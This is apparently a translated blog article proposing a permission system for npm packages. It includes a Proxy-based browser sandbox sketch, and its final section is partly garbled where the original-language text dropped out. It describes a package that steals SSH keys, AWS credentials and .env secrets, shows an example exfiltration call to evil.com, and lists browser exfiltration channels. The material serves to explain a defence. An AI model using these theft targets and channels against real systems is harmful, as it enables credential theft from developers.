
package.json would look something like this: { "name": "fancy-logger", "version": "0.1.0", "permissions": { "browser": ["network"], "node": ["http", "fs"] }, "etcetera": "etcetera" } 
permissions section of the fancy-logger package could make the developer think about why the package that writes something to the console has access to the http module, and that it looks somewhat suspicious.space-invaders . It was interesting to learn how to make games by writing a game that works in the console, and at the same time substantiate my point of view on the vulnerabilities associated with npm-packages.npx space-invaders this game with the following command: npx space-invaders . After its launch, you could immediately start shooting at the aliens and kill time.space-invaders will go about its business, namely the collection of some data. She will gather information from ~/.ssh/ , ~/.aws/credentials , from ~/.bash_profile and other similar places, read the contents of all .env files that she can reach, including process.env , look in to the git configuration (in order to find out - whose information it collects), and then it will send it all to my server.npm install command, I reflect on how vulnerable my system is. Now, looking at the progress indicator of the installation, I think about how many standard folders and files on my laptop, the contents of which should not fall into the wrong hands.SELECT * from users command, then http.get('http://evil.com/that-data') . Maybe it was precisely because of the possibility of such attacks that I encountered advice that passwords should not be stored in databases as plain text?package-permissions.json , which sets permissions for Node.js and for the browser and contains a list of packages that need these permissions. With this approach, it would be necessary to list all the packages in such a file, and not just those that are in the dependencies section of the project package.json file.package-permissions.json might look like. { "node": { "http": [ "express", "stream-http" ], "fs": [ "fs-extra", "webpack", "node-sass" ] }, "browser": { "network": [ "whatwg-fetch", "new-relic" ] } } http Node.js module.npm install command will fail with the following error: “The add-two-number package required by the fancy-logger package requested access to the http Node.js module. Run the npm update-permissions add-two-numbers command to allow this, and then run the npm install command again. ”fancy-logger is the package that is in your package.json file (it is assumed that you are familiar with this package), and the package add-two-numbers is a fancy-logger dependency that you have never heard of.package-permissions.json will be seen in the pull request, that is, there will be a chance that another developer, more responsible, will pay attention to this.fancy-logger . We inform you that add-two-number , the package you use, has requested permission to work with the http module. The permissions of your package shown at npmjs.com/package/fancy-logger have been updated accordingly. ”add-two-numbers can be quite sure that if he requests permission to work with the http module, this will trigger a multitude of “alarms” all over the world.permissions section is missing from package.json ).permissions to package.json as an empty object. And, if the authors of the packages are sufficiently interested in that dependency permissions do not “burden” their packages, they will try to ensure that these dependency packages also do not require special permissions, for example, by making corresponding pull requests in the dependency repository.package-permissions.json file will provide an easy-to-read summary for a security professional who assesses potential holes in the application and will allow you to ask specific questions about the disputed packages and their permissions.permissions property can be widely distributed among approximately 800,000 npm packages and make npm safer.@npm/permissions .node -r @npm/permissions index.js .permissions section of the package.json files of other packages. If the author of a certain package lovely-logger did not declare the need for this package in the Node.js http module, this means that such a package will not be able to access this module.methods package loads the Node.js http module, but does not send any data with it. It simply takes the http.METHODS object, converts its name to lower case, and exports it as a classic npm package. Now this package looks like an excellent target for an attacker - he has 6 million downloads per week, while he has not changed for 3 years. I could write to the authors of this package and invite them to give me his repository.methods package, it would be better to assume that it does not need the network permission, but not the permission giving access to the http module. Then this restriction can be fixed by means of an external mechanism and neutralize any attempts by this packet to send some data from the systems in which it operates.@npm/permissions package could also restrict access from one package to any other packages that were not listed as its dependencies. This will prevent the package, for example, from importing something like fs-extra and request , and using the capabilities of these packages to read data from the file system and send the read data to the attacker.node-sass needs access to materials located within the directory of my project, but I see no reason why this package needs access to something outside this directory.@npm/permissions package will need to be added to projects manually. Perhaps, during the transition period, during the elimination of the inevitable malfunctions, this is the only reasonable approach to using such a mechanism. But to ensure real security, it is necessary that this package be rigidly embedded in the system, as it will be necessary to take into account the permissions and when running the package installation scripts."enforcePermissions": true in the project package.json file will tell npm that any scripts would be launched with the forced use of the permissions declared by them.network . There may be other permissions in this environment (like those that regulate access to the DOM or local storage), but here I assume that our main concern is the possibility of data leakage.fetch .EventSource constructor.XMLHttpRequest .innerHTML property of various elements (you can create new elements).new Image() command new Image() image src property can serve as a means of exfiltration of data)document.location , window.location , and so on.src properties of an existing image, an iframe element, or something like that.target property of the <form> element.top or self instead of windows .@npm/permissions-webpack-plugin ), :browser package-permissions.json , npm- ( - , ). // (), , function bigFrameworkWrapper(newWindow) { /* -- -- */ const window = newWindow; const document = window.document; // /* -- -- */ const module = { doSomething() { const newDiv = document.createElement('div'); // const newScript = document.createElement('script'); // const firstDiv = document.querySelector('div'); // }, }; return module; } // ( ), , function smallUtilWrapper(newWindow) { /* -- -- */ const window = newWindow; const document = window.document; // /* -- -- */ const module = { doSomething() { const newDiv = document.createElement('div'); // const newScript = document.createElement('script'); // ! const firstDiv = document.querySelector('div'); // }, }; return module; } const restrictedWindow = new Proxy(window, { get(target, prop, receiver) { if (prop === 'document') { return new Proxy(target.document, { get(target, prop, receiver) { if (prop === 'createElement') { return new Proxy(window.document.createElement, { apply(target, thisArg, argumentsList) { if (['script', 'img', 'audio', 'and-so-on'].includes(argumentsList[0])) { console.error('A module without permissions attempted to create a naughty element'); return false; } return target.apply(window.document, argumentsList); }, }); } const result = Reflect.get(target, prop, receiver); if (typeof result === 'function') return result.bind(target); return result; }, }); } return Reflect.get(target, prop, receiver); }, }); const bigFramework = bigFrameworkWrapper(window); bigFramework.doSomething(); // const smallUtil = smallUtilWrapper(restrictedWindow); smallUtil.doSomething(); // ! "A module without permissions attempted to create a naughty element" function bigFrameworkWrapper(newWindow) { function smallUtilWrapper(newWindow) { — , . «» .const newScript = document.createElement('script'); // ! , — script .const bigFramework = bigFrameworkWrapper(window); const smallUtil = smallUtilWrapper(restrictedWindow); «» . , , .const restrictedWindow = new Proxy(window, { window , , window , , window.document.createElement DOM .Proxy .Proxy . , 90% , . , , . , - , , , .iframe , . sandbox , , . , , , -.sandbox <script> . : <script src="/some-package.js" sandbox="allow-exfiltration allow-whatevs"><script> . , , , - create-react-app , 1.4 , .
Source: https://habr.com/ru/post/433010/
All Articles